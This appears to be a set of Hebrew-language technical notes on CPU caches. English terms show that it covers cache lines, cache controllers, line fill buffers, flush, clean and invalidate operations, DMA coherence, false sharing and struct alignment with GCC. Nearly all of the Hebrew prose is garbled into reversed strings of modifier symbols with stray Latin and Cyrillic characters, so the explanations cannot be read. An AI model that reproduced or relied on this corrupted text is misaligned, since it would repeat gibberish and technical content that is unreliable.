˧˷˞˶ˢ .˫˧˸˧˰˪ ,˶˵˟ ˭ˣ˶˩˧ˤˢ ˢˢˤˬ ˸˞ ˢ˶˟˰ˢˢ ˢ˶˧˷˧ˢ ˣˤˢ ˭˩ˡ˰ˬˣ ˸˞ ˭ˣ˶˩˧ˤˢ ˧˷˞˶ˢ ˫˰ ˭˩ˣ˸ˢ 

˭˩ˡˣ˰ˬˢ ˪˷ s-cache line. 

˫˞ ˢ˷˧ˠˢ ˸ˡ˰ˣ˧ˬ ˢ˟˧˸˩˪ ,ˡ˟˰ˬˢ ˭ˣ˷˞˶ˢ ˭ˬ˯˧ ˸˞ s-cache line ˸˧ˬˣ˵ˬˢ ˣ˪˷ ˩-invalid ˧ˡ˩ ˥˧˦˟ˢ˪ 

˭˧˞˷ ˫˧˵˸ˣ˰ ˫˧ˮ˷˧ ˞˪ˣ ˫˧ˮ˩ˡˣ˰ˬ ˭ˣ˶˩˧ˤ˟ s-cache ˣ˪˷ .˸ˣ˶ˬ˪ ˸˞ˤ ,˫˧˵˸ˣ˰ ˫˧˧˵ˮ ˪˷ ˢ˸ˣ˞ cache line 

˫˧˪ˣ˩˧ ˶ˬ˷˧ˢ˪ ˭˲ˣ˞˟ ˧˸ˣ˶˧˶˷ ˶˲˯ˬ˟ caches ˪˷ ˫˧ˡ˟˰ˬ ˫˧ˮˣ˷ ˸˩˶˰ˬ˟. 

Cache Controller  

-scache controller ˞ˣˢ ˟˧˩˶ ˢ˶ˬˣ˥ ˣˡ˧˵˲˸˷ ˪ˢˮ˪ ˸˞ ˭ˣ˶˩˧ˤ s-cache ˸˩˶˰ˬ˟ ,˧˪˟ˬ ˪ˣˢ˧ˮˢ˷ ˢ˧ˢ˧ 

˧ˣ˪ˠ ˸˧ˮ˩ˣ˸˪ .-scache controller ˧˞˶˥˞ ˢ˟˧˸˩˪ ˸˧˦ˬˣ˦ˣ˞ ˪˷ ˸ˣ˞˶ˣˢ ˫˧ˮˣ˸ˮˣ ˭ˣ˶˩˧ˤˢˬ ˧˷˞˶ˢ ˨ˣ˸˪ 

-scache .˞ˣˢ ˪˟˵ˬ ˸ˣ˷˵˟ ˢ˞˧˶˵ ˢ˟˧˸˩ˣ ˢ˟˧˪ˢˬ ˰˴˟ˬˣ ˸˞ ˸ˣ˪ˣ˰˲ˢ ˸ˣ˷˶ˡˮˢ ˪˰ ˭ˣ˶˩˧ˤ s-cache 

ˣ˞ ˪˰ ˭ˣ˶˩˧ˤˢ ˧ˮˣ˴˧˥ˢ. 

˶˷˞˩ s-cache controller ˪˟˵ˬ ˢ˷˵˟ ˢ˟˧˪ˢˬ ,ˣ˧˪˰ ˵ˣˡ˟˪ ˫˞ ˸˟ˣ˸˩ˢ ˸˷˵ˣ˟ˬˢ ˶˟˩ ˸ˬ˧˧˵ ˟-

cache .˟˪˷ ˢˤ ˞˶˵ˮ ˷ˣ˲˧˥ ˟-cache. 

˫˞ ˢ˟˧˪ˢ ˸˷˵˟ˬ ˸ˣ˞˶ˣˢ x˞ ˫˧ˮˣ˸ˮ ˸˟ˣ˸˩ˬ ˸ˬ˧ˣ˯ˬ ,˨˞ s-cache controller ˞˪ ˞˴ˣˬ ˸˞ ˭˩ˣ˸ˢ 

˷˵ˣ˟ˬˢ ˟-cache ,˶˟ˣˡˬ ˟˴ˬ˟ ˪˷ cache miss .ˢ˶˵ˬ˟ ˢˤ˩ ,ˢ˷˵˟ˢ ˸˶˟˰ˣˬ ˢˬ˶˪ ˢ˞˟ˢ 

˸˧˧˩˶˶˧ˢ˟ ˭ˣ˶˩˧ˤˢ ,˶˷˞ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ cache ˢˬ˶˟ ˢˢˣ˟ˠ ˶˸ˣ˧ )˭ˣˠ˩ L2 (ˣ˞ ˭ˣ˶˩˧ˤ ˧ˮˣ˴˧˥ .ˢ˞˴ˣ˸ˢ ˪˷ 

˟˴ˬ ˢˤ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˧ˣ˪˧ˬ line ˟-cache ,ˣ˟˷ ˭˩ˣ˸ ˭ˣ˶˩˧ˤˢˬ ˧˷˞˶ˢ ˵˸˰ˣˬ ˪-cache .˪˧˟˵ˬ˟ ,˫˧ˮˣ˸ˮˢ 

ˣ˞ ˸ˣ˞˶ˣˢˢ ˫˧˷˵ˣ˟ˬˢ ˫˧˶˯ˬˮ ˢ˟˧˪˪ .˨˧˪ˢ˸ ˢˤ ˷˥˶˸ˬ ˢ˶ˣ˴˟ ˢ˲ˣ˵˷ ,˶ˬˣ˪˩ ,ˣˮ˧˞ ˧ˣ˪ˠ ˸ˣ˶˧˷˧ 

˷ˬ˸˷ˬ˪ .ˢ˟˧˪ˢ ˢˮ˧˞ ˢ˩˧˶˴ ˭˧˸ˬˢ˪ ˡ˰ ˧ˣ˪˧ˬˢ˷ ˪˷ s-cache line ˫˪˷ˣ˧ ˧ˮ˲˪ ˷ˣˬ˧˷ˢ ˫˧ˮˣ˸ˮ˟. 

˫˧˶˵ˬ˟ ˫˧˟˶ ,-scache controller ˷ˠ˧˧ ˫ˡˣ˵ ˪˩ ˢ˪˧ˬ˪ ˸˧˦˧˶˵ˢ ˨ˣ˸˟ s-cache line .ˢˬˠˣˡ˪ ,˫˞ 

 load ˸ˬ˶ˣˠ ˪-cache miss ˢ˪˧˰˲ˬˣ ˧ˣ˪˧ˬ ˪˷ cache line ,ˢ˞˧˶˵ˢ ˢˮˣ˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˧ˮˣ˴˧˥ˢ 

ˢ˧ˢ˸ ˶ˣ˟˰ ˸˟ˣ˸˩ˢ ˸˵˧ˣˡˬˢ ˢˮ˸˧ˮ˷ ˪˰ ˧ˡ˧ ˸˞˶ˣˢ s-load .˫˧ˮˣ˸ˮˢ ˫˧˧˦˧˶˵ˢ ˣ˪˪ˢ ˣ˵˲ˣ˯˧ ˡ˧ˬ ˪-

pipeline ˪˷ ˡ˟˰ˬˢ ,ˡˣ˰˟ ˸˶ˬˣ˥˷ s-cache ˵˷ˬˬˣ s-bus ˧ˮˣ˴˧˥ˢ ˣ˩˧˷ˬ˧ ˞ˣ˶˵˪ ˸˞ ˶˞˷ s-cache 

line ˰˵˶˟. 

˵˪˥˟ ˫˧ˡ˟˰ˬˢˬ ˫˧˧ˮ˶ˡˣˬˢ ˸ˬ˧˧˵ ˟˧˩˶ ˞˶˵ˮˢ Line Fill Buffer ,˶˷˞ ˢˡ˰ˣˮ ˪˲˦˪ ˨˧˪ˢ˸˟ ˪˷ ˧ˣ˪˧ˬ 

-scache line. 

https://en.wikipedia.org/wiki/Load%E2%80%93store_architecture
https://developer.arm.com/documentation/ddi0360/f/level-1-memory-system/about-the-level-1-data-side-memory-system/linefill-buffers
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 ˭ˣ˶˩˧ˤ ˪˷ ˱˵ˣ˸ ˪ˣ˦˧˟ˣ ˧ˣ˵˧ˮCache  

˧ˣ˵˧ˮ ˪ˣ˦˧˟ˣ ˪˷ ˭ˣ˶˩˧ˤ s-cache ˫˧˷˶ˡˮ ˷˞˩ ˶˭˩ˣ˸ ˭ˣ˶˩˧ˤˢ ˧ˮˣ˴˧˥ˢ ˢˮ˸˷ˬ ,˷˧ˣ ˨˶ˣ˴ ˶˧˯ˢ˪ ˫˧ˮˣ˸ˮ 

˫˧ˮ˷ˣ˧ˬ ˢˬ-cache .ˢ˪ˣ˰˲ xʕ ˢ˧ˣ˷˰ ˸ˣ˧ˢ˪ ˢ˷ˣ˶ˡ ˫ˠ ˶˥˞˪ ˫˧˧ˣˮ˧˷ ˸ˣ˧ˮ˧ˡˬ˟ s-cache x˞ ˸ˣ˞˷˶ˢ˟ 

ˢ˷˧ˠ ˫˧˰˴ˣ˟ˬ˷ ˪˰ ˧ˡ˧ s-MPU. 

˥ˮˣˬˢ ñˢ˲˧˦˷ò )flush (˷ˬ˷ˬ ˫˧˸˧˰˪ ˸ˣ˟ˣ˶˵ ˧ˡ˩ ˶˞˸˪ ˸˞ ˸ˣ˪ˣ˰˲ ˧ˣ˵˧ˮˢ ˪ˣ˦˧˟ˢˣ ˱˵ˣ˸ ,˨˞ 

˫˧˦˶ˡˮ˦˯˟ ˪˷ ARM x-x86 ,˸ˣˬ˷ˢ ˫˧˴ˣ˲ˮˢ ˫ˢ ñclean ò-xñinvalidate.ò 

˰ˣ˴˧˟ ˪˷ clean ˪˰ cache x˞ ˪˰ cache line ˟˶ˣ˰ˬ ˢ˟˧˸˩˟ ˪˷ ˭˩ˣ˸ˢ ˪˷ cache lines ˸ˣ˩˪˩ˣ˪ˬ ˪˞ 

˭ˣ˶˩˧ˤˢ ˧˷˞˶ˢ .ˢ˪ˣ˰˲ xʕ ˢ˥˧˦˟ˬ ˭˩ˣ˸ˢ˷ ˟˷-cache line ˭ˣ˶˩˧ˤˢˣ ˧˷˞˶ˢ ˣ˧ˢ˧ ˫˧˧˦ˮ˶ˢˣ˵ ˢˤ ˫˰ ˢˤ. 

˰ˣ˴˧˟ ˪˷ invalidation ˪˰ cache x˞ ˪˰ cache line ˫˶ˣˠ ˸˶˯ˢ˪ ˫˧ˮˣ˸ˮˢ ˢˬ-cache ,˪˰ ˧ˡ˧ ˪ˣ˦˧˟ ˱˵ˣ˸ 

˪˷ s-cache line ˸˥˞ x˞ ˶˸ˣ˧ .˨˧˪ˢ˸˟ ˢˤ ,˦˧˟ˢ valid ˪˷ s-cache line ˢ˵ˣˮ ,ˢˬ ˪˧˟ˣˬ˷ ˨˩˪ 

˫˧ˮˣ˸ˮˢ˷ ˟˷-cache ˫ˮ˧˞ ˫˧˶ˡˠˣˬ ˡˣ˰ .˫˞ s-cache ˪˧˩ˬ ˫˧ˮˣ˸ˮ ˫˧˩˪˩ˣ˪ˬ ,˞˪ ˭ˣ˩ˮ ˪˦˟˪ ˣ˸ˣ˞ ˧˪˟ˬ 

˸ˣ˵ˮ˪ ˸˞ ˫˧ˮˣ˸ˮˢ .ˢ˪ˣ˰˲ xʕ ˪˧˟ˣ˸ ˭ˡ˟ˣ˞˪ ˪˩ ˫˧ˮˣ˸ˮˢ ˫˧ˮ˩ˡˣ˰ˬˢ ˟-cache ˧˶ˣˤ˞˟ˣ ˭ˣ˯˥˞ˢ ˣ˪˷. 

˧˶˧˷˩ˬ˟ ARM ,˸ˣ˪ˣ˰˲ s-invalidate sx-clean ˪˷ s-cache ˸ˣ˪ˣ˩˧ ˰˴˟˸ˢ˪ ˪˰ ˧˲ set/way x˞ ˪˰ ˧ˡ˧ 

˭ˣ˧˴ ˸˟ˣ˸˩ ˸ˬ˧ˣ˯ˬ. 

ˢ ˸ˣˮˣ˶˯˥-Cache  

˸ˣ˶ˬ˪ ˸ˣˮˣ˶˸˧ˢ ˫˧˶ˣ˶˟ˢ ˪˷ ˭ˣ˶˩˧ˤ s-cache ,˳˧˞ˬ˷ ˸˞ ˰ˣ˴˧˟ ˸ˣ˧ˮ˩ˣ˸ˢ ,˞ˣˢ ˫ˠ ˱˧˯ˣˬ ˶˲˯ˬ ˫˧˶ˠ˸˞ 

˫˧˧ˡˣ˥˧˧ .ˡ˥˞ ˸ˣˮˣ˶˯˥ˢ ˫˧˧ˤ˩˶ˬˢ ˞ˣˢ ˸ˣ˶˷˲˞ˢ ˨˩˪ ˭ˬˤ˷ ˰ˣ˴˧˟ˢ ˪˷ ˸˧ˮ˩ˣ˸ˢ ˨ˣ˲ˢ˧ ˞˪˪ 

˧˦˯˧ˮ˧ˬ˶˦ˡ ,˶ˬˣ˪˩ ,˞˪ ˭˸˧ˮ ˢ˧ˢ˧ ˸ˣˤ˥˪ ˭˲ˣ˞˟ ˵˧ˣˡˬ ˸˞ ˨˷ˬ ˭ˬˤˢ ˷˶ˡ˧˧˷ ˢ˰ˣ˴˧˟˪ ˪˩˟ ˫˰˲. 

˱˯ˣˮ˟ ,˭˩˸˧˧ ˭˩ˣ˸˷ s-cache ˭ˣ˶˩˧ˤˢˣ ˧˷˞˶ˢ ˞˪ ˣ˧ˢ˧ ˫˧ˮ˶˩ˮˣ˯ˬ ˭˲ˣ˞˟ ˫˪˷ˣˬ .˫˧˟˴ˬ˟ ˫˧ˬ˧ˣ˯ˬ ,

ˡ˟˰ˬˢ ˧ˣ˷˰ ˭˩ˡ˰˪ ˸˞ s-cache ,˨˞ ˫˧˧ˣˮ˧˷ˢ ˫˶˦ ˣ˟˸˩˧˧ ˢ˶ˤ˥ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ .ˡ˴ˬ ˧ˮ˷ ,˟˧˩˶ ˧ˮˣ˴˧˥ 

ˣˬ˩ ˶˵˟ DMA ˪ˣ˩˧ ˭˩ˡ˰˪ ˸˞ ˭ˣ˶˩˧ˤˢ ˧˷˞˶ˢ ˶˥˞˪ ˢ˟˧˪ˢ˷ ˶˟˩ ˢˮ˰˦ ˵˸ˣ˰ ˢ˪˷ˬ .˸ˣ˧˰˟ ˣ˪˞ ˸ˣ˰ˠˣˮ 

˪ˣˢ˧ˮ˪ ˸ˣ˧˦ˮ˶ˢˣ˵ ˭ˣ˶˩˧ˤˢ ,˭ˢˣ ˸ˣ˧ˣ˷˰ ˶˶ˣ˰˸ˢ˪ ˡ˥ˣ˧ˬ˟ ˸ˣ˩˶˰ˬ˟ ˫˰ ˶˲˯ˬ ˸ˣ˟˧˪ x˞ ˫˧˟˧˩˶ ˫˧˧ˮˣ˴˧˥ 

˫˧˷ˠ˧ˮ˷ ˭ˣ˶˩˧ˤ˪ ,ˣˬ˩ ˫˧˶˵˟ ˫˧˧ˮˣ˴˧˥. 

 ˫˰ ˸ˣ˰ˣˡ˧ ˸ˣ˧˰˟Cache  

False Sharing  

ˠ˷ˣˬˢ False sharing ˶˞˸ˬ ˢ˧˰˟ ˫˧˰ˣ˴˧˟ ˸ˣ˩˶˰ˬ˟ ˫˰ ˧ˣ˟˧˶ cache-˫˧ ,˶˷˞˩ ˶˲˯ˬ ˫˧ˡ˟˰ˬ 

˫˧˷ˬ˸˷ˬ ˣ˸ˣ˞˟ ˢˮ˸˷ˬ )ˢˮˣˣ˩ˢ ˞˧ˢ ˣ˸ˣ˞˪ ˫ˣ˵˧ˬ ˭ˣ˶˩˧ˤ .(ˢ˧˰˟ˢ ˸˶˶ˣ˰˸ˬ ˶˷˞˩ ˫˧ˮ˸˷ˬ 

˫˧ˮ˯˥ˣ˞ˬˢ ˟-cache ˫˧˞˴ˬˮ ˢ˸ˣ˞˟ cache line .˫˞ ˡ˥˞ ˫˧ˡ˟˰ˬˢ ˢˮ˷ˬ ˵˶ ˵˪˥ ˫˧ˮˣ˸ˮˢˬ ˟-cache 
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line ,˨˞ ˫˧˵˪˥ˢ ˫˧˶˥˞ˢ ˫ˮ˧˞ ˫˧ˮ˸˷ˬ ,˪˩ s-cache line ˢ˩˧˶˴ ˸˞˴˪ ˢˬ-cache ˰˧ˠˢ˪ˣ ˭ˣ˶˩˧ˤ˪ 

˧˷˞˶ˢ ˶˥˞˪ˣ ˭˩ˬ ˭˰˦˧ˢ˪ ˷ˡ˥ˬ ,˫ˣ˷ˬ ˢˮ˟ˬ˷ s-cache ˡ˟ˣ˰ ˧˲˪ ˸ˣ˶ˣ˷ ˸ˣˬ˪˷ ˞˪ˣ ˧˲˪ ˫˧˵˪˥ 

˭˩ˣ˸˟. ˢ˧˰˟ xʕ ˸ˬ˶ˣˠ ˨˩˪ ˪˩˷ ˭ˣ˩ˡ˰ ˪˷ ˵˪˥ ˫˧ˣ˯ˬ ˟-cache line ˪˧˟ˣ˧ ˭ˣ˩ˡ˰˪ ˷ˡ˥ˬ ˪˷ ˪˩ s-cache 

line ,˫ˠ ˫˞ ˵˶ ˵˪˥ ˭˦˵ ˰ˡ˧ˬˢˬ ˢˮ˸˷ˢ .ˢˤ ˪˧˟ˣˬ ˸ˣ˧˰˟˪ ˫˧˰ˣ˴˧˟ ˫ˣ˷ˬ ˡ˟˰ˬˢ˷ ˨˧˶˴ ˪˧˰˲ˢ˪ 

˧ˮˣˮˠˮˬ ˭ˣ˶˩ˮ˯ ˧ˡ˩ ˪ˢˮ˪ ˸˞ ˫˧ˮˣ˩ˡ˰ˢ. 

˶˷˞˩ s-cache lines ˸ˣ˵˪ˣ˥ˬ ˭˧˟ ˫˧ˮ˸˷ˬ ˫˧˧˪˟ˣ˪ˠ ,˫˞ ˡ˥˞ ˫˧ˮ˸˷ˬˢ ˢˮ˸˷ˬ ˪˰ ˧ˡ˧ ˡ˥˞ 

˫˧ˡ˟˰ˬˢˬ ,-scache line ˢˬ˧˞˸ˬˢ ˸ˮˬˣ˯ˬ ˸˩˪˩ˣ˪ˬ˩ .-˟cache line ˸˶˸ˣˮˢ ˪˷ ˡ˟˰ˬˢ ,ˢˤ ˪ˣ˪˰ 

˫ˣ˶ˠ˪ ˪-entry ˸˷˲ˣ˰ˬ )stale (˸˷˶ˣˡ˷ ˢ˲˧˦˷ )flush (ˢ˶ˤ˥ˢˣ ˭ˣ˶˩˧ˤˢˬ ,˶˟ˡ ˪ˣ˩˧˷ ˪˧˟ˣˢ˪ ˪-miss 

˪˷ cache line ˷ˣ˶ˡ˪ˣ ˶˸ˣ˧ ˧˶ˣˤ˥ˬ CPU .ˢˤ ˧ˣ˷˰ ˸˧˥˲ˢ˪ ˸˞ ˧˰ˣ˴˧˟ ˸˩˶˰ˬˢ .ˢ˟˶ˢ ˧ˮ˟ˬ ˫˧ˮˣ˸ˮˢ 

˪ˮ˶˵˟ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˫˧˷ˬ˸˷ˬ ˸ˣ˧ˠ˦˶˦˯˞˟ ˧ˡ˩ ˰ˮˬ˧ˢ˪ ˬ-miss ˪˷ s-cache line. 

˭ˣ˶˸˲ ˧˶˷˲˞ ˸˧˧˰˟˪ s-false sharing xʕ ,˞ˣˢ ˡ˧˶˲ˢ˪ ˭˧˟ ˫˧ˮˣ˸ˮ ˫˧˩˧˶˴˷ ˭˩ˡ˰˸ˢ˪ ˡ˥˧˟ ˫˧ˮˣ˸ˮˣ ˞˪˷ 

˫˧˷˶ˣˡ ˭ˣ˩ˡ˰ ˱˸ˣ˷ˬ .˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˪˰ ˧ˡ˧ ˸˶˧˴˧ ˫˧ˮ˸˷ˬ ˶˷˞ ˫˧˞˴ˬˮ ˢ˸ˣ˞˟ ˸˶ˣ˷ cache 

)˫˧ˮ˸˷ˬ ˫˧ˮ˸˷ˬ˷ x˞ ˫˧˰ˣ˟˵ ˡ˥˧ ,(ˣ˞ ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˟-padding ˨˶ˣ˴˪ ˶ˣ˷˧˧ ˭ˣ˩ˮ ˪˷ ˫˧ˮˣ˸ˮˢ .˫˧˶˵ˬ˟ 

˪˷ structs ˫˧˟ˣ˷˥ ˫˧˧˦˧˶˵ˣ ,ˡ˥ˣ˧ˬ˟ ˷ˣˬ˧˷˟ ˟˥˶ˮ ,˷˧ ˸˥˵˪ ˭ˣ˟˷˥˟ ˸ˣ˧˰˟ ˣ˪˞ ˭ˮ˩˸˪ˣ ˸˞ s-struct 

˨˩ ˢ˧ˢ˧˷ ˶˷ˣ˧ˬ )aligned (˪ˡˣˠ˪ s-cache line. 

˸˧˧˰˟ false sharing ˢ˪ˣ˪˰ ˫ˣ˶ˠ˪ ˢˡ˧˶˧˪ ˫˧˰ˣ˴˧˟˟ ,˫˞ˣ ˫˧˪˲˦ˬ ˢ˧˰˟˟ ˧ˣ˞˶˩ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˶ˣ˲˧˷ ˫˧˰ˣ˴˧˟ 

˧˸ˣ˰ˬ˷ˬ .ˢ˧˰˟ˢ ˢ˪ˣ˩˧ ˷˥˶˸ˢ˪ ˫ˠ ˧˪ˣ˵ˣ˦ˣ˶˲˟ cache ˫˧˧˦ˬˣ˦ˣ˞ ˫ˠˣ ˸ˣ˟˧˟˯˟ ˸ˣ˲˯ˣˮ ˣˬ˩ ˸ˣ˩˶˰ˬ 

˫˧˴˟˵ ˸ˣ˶ˤˣ˟ˬ x˞ ˧ˡ˯ˬ ˫˧ˮˣ˸ˮ ,˨˞ ˞˧ˢ ˢ˥˧˩˷ ˶˵˧˰˟ ˟-cache RAM. 

˪ˣ˰˧˧ ˪ ˢ˷˧ˠ-Cache: 

¶ ˶˷˞˩ ˫˧˶˴ˣ˧ ˫˧ˮˣ˸ˮ ˫˧˪ˣˡˠ ˞˪˷ ˢ˷˰ˮ ˫ˢ˟ ˷ˣˬ˧˷ ˧ˡ˧ˬ ,˷˧ ˪ˣ˵˷˪ ˫˧˩˶ˡ ˰ˣˮˬ˪ ˸˞ ˫˸˯ˮ˩ˢ 

˸ˬˡ˵ˣˬˢ ˪-cache .˸˯ˮ˩ˢ ˫˧ˮˣ˸ˮ ˫ˮ˧˞˷ ˷ˣˬ˧˷˟ ˸ˬ˶ˣˠ ˯ˬˣ˰˪ ˶˸ˣ˧ˬ ˢ˶ˣ˵˸˪ˣ ,˭ˣˣ˧˩ ˰ˡ˧ˬ˷ ˶˟ˣ˰ 

˨˶ˡ s-cache ˞˪˪ ˨˶ˣ˴ ,ˢˬ ˪ˣ˪˰˷ ˵ˣ˥ˡ˪ ˰ˡ˧ˬ ˟ˣ˷˥ ˶˸ˣ˧ ˸ˣˬ˶ˬ ˸ˣ˩ˣˬˮ ˣˬ˩ L1 ˪-L2 x˞ ˱˞ 

ˢ˴ˣ˥ˢ ˢˬ-cache .˟˴ˬ ˢˤ˩ ˶˴ˣ˧ ˶˯ˣ˥ ˸ˣ˪˧˰˧ ˭ˬˤˣ ˡˣ˟˧˰ ˤ˟ˤˣ˟ˬ. 

¶ ˶˷˞˩ ˷˧ ˫˧ˮˣ˸ˮ ˫˧˲˧˴˶ ˭˸˧ˮ˷ ˡ˥˞˪ ˫ˢ˧ˮ˧˟ ˸˰˟ ˢ˟˧˸˩ ,˳˪ˬˣˬ ˡ˥˞˪ ˫˸ˣ˞ ˸˶ˣ˷˪ cache ˸˥˞ .

ˡˣ˥˧˞ ˢˤ˩˷ ˸˧˥˲ˬ ˸˞ ˶˲˯ˬ ˸ˣ˞˧˶˵ˢ ˸ˣ˟˧˸˩ˢˣ ˪-cache ˶˲˷ˬˣ ˸˞ ˧˰ˣ˴˧˟ ˸˧ˮ˩ˣ˸ˢ ˪˰ ˧ˡ˧ 

˸˸˥˲ˢ ˸˶ˣ˷˵˸ˢ ˸˶˸ˣ˧ˬˢ ˫˰ ˭ˣ˶˩˧ˤˢ ˧˷˞˶ˢ. 

¶ ˸ˣˡ˷ ˫˧˷˧ˠˮˢ ˫˧˸˧˰˪ ˸ˣ˟ˣ˶˵ ˟-struct ˫˧ˬ˵ˣˬˬ ˣ˸˪˧˥˸˟ ,˶˟ˡˢ ˢ˷˰ˮ ˧ˡ˩ ˪˧ˡˠˢ˪ ˸˞ ˧ˣ˩˧˯ˢ 

˸ˣˡ˷ˢ˷ ˫˧˟ˣ˷˥ˢ ˣˬ˵ˣˬ˧ ˫˪ˣ˩ ˪˰ ˣ˸ˣ˞ cache line ,˨˩ ˡ˟˰ˬˢ˷ ˪˩ˣ˧ ˸˷ˠ˪ ˫ˢ˧˪˞ ˸˟˟ ˸˥˞. 

¶ ˢˡ˶˲ˢ ˭˧˟ ˸ˣˡ˷ ˞˪ ˫˧˶ˣ˷˵ ˟-struct ˭˧˞˷ ˨˩ ˨˶ˣ˴ ˡ˟˰˪ ˫˸ˣ˞ ˡ˥˧ ,˷˧ ˡ˧˲˵ˢ˪ ˡ˧˶˲ˢ˪ ˫˸ˣ˞ 

˭ˣ˶˩˧ˤ˟ ˨˩ ˫ˢ˷ ˣ˧ˢ˧ ˪˰ cache lines ˫˧ˡ˶˲ˮ .˸˶˦ˬ ˢˡ˶˲ˢˢ ˞˧ˢ ˰ˣˮˬ˪ ˢ˰˲ˣ˸ ˪˷ false sharing. 
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¶ ˶˷˞˩ ˶˟ˣˡˬ ˧ˮ˟ˬ˟ ˫˧ˮˣ˸ˮ ˫˧ˮ˦˵ ˸˧˯˥˧ ,˷˧ ˧ˣ˩˧˯ ˟ˣ˦ ˭˸˧ˮ˷ ˯˧ˮ˩ˢ˪ ˸˞ ˪˩ ˢˮ˟ˬˢ ˪-cache line 

˸˥˞ .˧ˡ˩ ˷ˬˬ˪ ˸˞ˤ ,˟ˣ˷˥ ˞ˡˣˣ˪ ˭˧˞˷ ˸ˣˡ˷ ˫˧˶˸ˣ˧ˬ ˢˮ˟ˬ˟ ˪˩˷ˣ ˢˡ˷ ˢ˴˵ˣˬ ˪ˡˣˠ˟ ˧˪ˬ˧ˮ˧ˬ ,

˞˪˪ ˤˣ˟ˤ˟ ˫ˣ˵ˬ x˞ padding ˶˸ˣ˧ˬ ˭˧˟ ˸ˣˡ˷ˢ .ˢ˪ˣ˰˲ xʕ ˸ˬ˴ˬ˴ˬ ˸˞ ˪ˡˣˠ ˢˮ˟ˬˢ ˸˶˷˲˞ˬˣ x˪ 

˯ˮ˩˧ˢ˪ ˣ˪ˣ˩ ˪-cache line ˡ˥˞ ,˨˩˟ˣ ˸˪˰˧˧ˬ ˸˞ ˢ˷˧ˠˢ ˣ˧˪˞. 

¶ ˶˷˞˩ ˶ˡ˯ ˢ˷˧ˠˢ ˢˮ˟ˬ˪ ˣˮ˧˞ ˶ˡˠˣˬ ˪˰ ˧ˡ˧ ˢ˵˧ˠˣ˪ ˸˧ˮˣ˴˧˥ ,˱˧ˡ˰ ˸˷ˠ˪ ˫˧˦ˮˬ˪˞˪ ˶ˡ˯˟ ˣ˟˷ ˫ˢ 

˫˧˰˧˲ˣˬ ˢˮ˟ˬ˟ ˫˧ˮˣ˸ˮˢ .˶ˣ˟˰ ˫˧ˮ˟ˬ ˫˧ˮ˦˵ ,˟ˣ˷˥ ˸ˮ˩˸ˬˢ˷ ˟ˣ˷˥˧ ˷˞˶ˬ ˪˰ ˶ˡ˯ ˫˧˦ˮˬ˪˞ˢ 

˶˧ˡˠ˧ˣ ˫˸ˣ˞ ˢ˶ˣ˴˟ ˣˤ˩ ˫˧˞˸˸˷ ˶ˡ˯˪ ˢ˷˧ˠˢ ˶˧˟˯ˢ ˶˸ˣ˧˟ ˸˧ˮ˩ˣ˸˟ .˱˯ˣˮ˟ ,˷˧ ˸ˣ˧ˢ˪ ˫˧˷˧ˬˠ 

˶˷˲˞˪ˣ ˫˧˧ˣˮ˧˷ ˧ˡ˩ ˫˧˞˸ˢ˪ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞˪ ˸ˣ˶˥˞ ,˭ˣˠ˩ ˸˰˧ˮˬ ˫˧˥ˣˣ˶ ˫˧˶˸ˣ˧ˬ ˭ˣ˶˩˧ˤ˟ .˫˧ˮ˟ˬ˟ 

˫˧˪ˣˡˠ ˶˸ˣ˧ ,˪˩ ˵ˣ˪˟ ˪˷ ˰ˡ˧ˬ ˨˧˶˴ ˸ˣ˧ˢ˪ ˭ˠ˶ˣ˞ˬ ˨˩ ˫˧˞˸˧˷ ˪ˡˣˠ˪ ˪˷ cache line ˥˧˦˟ˢ˪ˣ ˢ˷˧ˠ 

ˢ˪˧˰˧ ˫˞˸ˢ˟ ˫˧˵ˣ˥˪ ˣ˪˪ˢ. 

˪˷ˬ˪ ˸˲˷˟ C ˫˰ GCC: 

struct strtype {  
    ...members...  
} __attribute (( aligned ( 64)));  

ˢˤ ˫ˣ˶ˠ˧ ˸˞˴˵ˢ˪ ˫˧˦˵˧˧˟ˣ˞ ˫˰ ˶ˣ˷˧˧ ˫˧˞˸ˬ )˶ˣ˷˧˧ ˪-сп ˫˧˸˟ ,(ˢˤˣ ˧ˮˣ˧˥ ˫˧˰ˣ˴˧˟˪ ˫˧˧˟˦˧ˬ ˪˷ 

cache ˸˰˧ˮˬ˪ˣ ˸ˣ˧˰˟ ˢ˷˧ˠ .˶˪˧˧˲ˬˣ˵ˢ ˧˞˶˥˞ ˸ˣ˴˵ˢ˪ ˫˧˦˵˧˧˟ˣ˞ ˫˰ ˶ˣ˷˧˧ˢ ˷˶ˡˮˢ ,˪˪ˣ˩ ˫˧˩˶˰ˬ .˫˰ 

˸˞ˤ ,˶˷˞˩ ˶˟ˣˡˬ ˢ˞˴˵ˢ˟ ˸˧ˬˮ˧ˡ ˪˷ ˫˧˦˵˧˧˟ˣ˞ ,˪˰ ˸ˮ˩˸ˬˢ ˡ˧˲˵ˢ˪ ˷˵˟˪ ˸˞ ˶ˣ˷˧˧ˢ ˫˧˞˸ˬˢ 

ˣˬ˴˰˟. 

˟ ˶ˣ˷˧˧ ˧˶ˠ˸˞-Stack  

˶˷˞˩ ˢˮ˸˷ˬ ˧˦ˬˣ˦ˣ˞ ˢ˴˵ˣˬ ˪˰ ˸˧ˮ˯˥ˬˢ ˫˰ ˸˷˧˶ˡ ˶ˣ˷˧˧ ˸ˬ˧ˣ˯ˬ ,˪˰ ˶˪˧˧˲ˬˣ˵ˢ ˥˧˦˟ˢ˪ 

ˢ˷˧˶ˡˢ˷ ˸ˬ˧˧˵˸ˬ .˫˰ ˸˞ˤ ,˞˪ ˡ˧ˬ˸ ˶˟ˣˡˬ ˢˬ˧˷ˬ˟ ˢ˦ˣ˷˲ .ˢ˟˧˯ˢ ˨˩˪ ˞˧ˢ ˶˪˧˧˲ˬˣ˵ˢ˷ ˣˮ˧˞ 

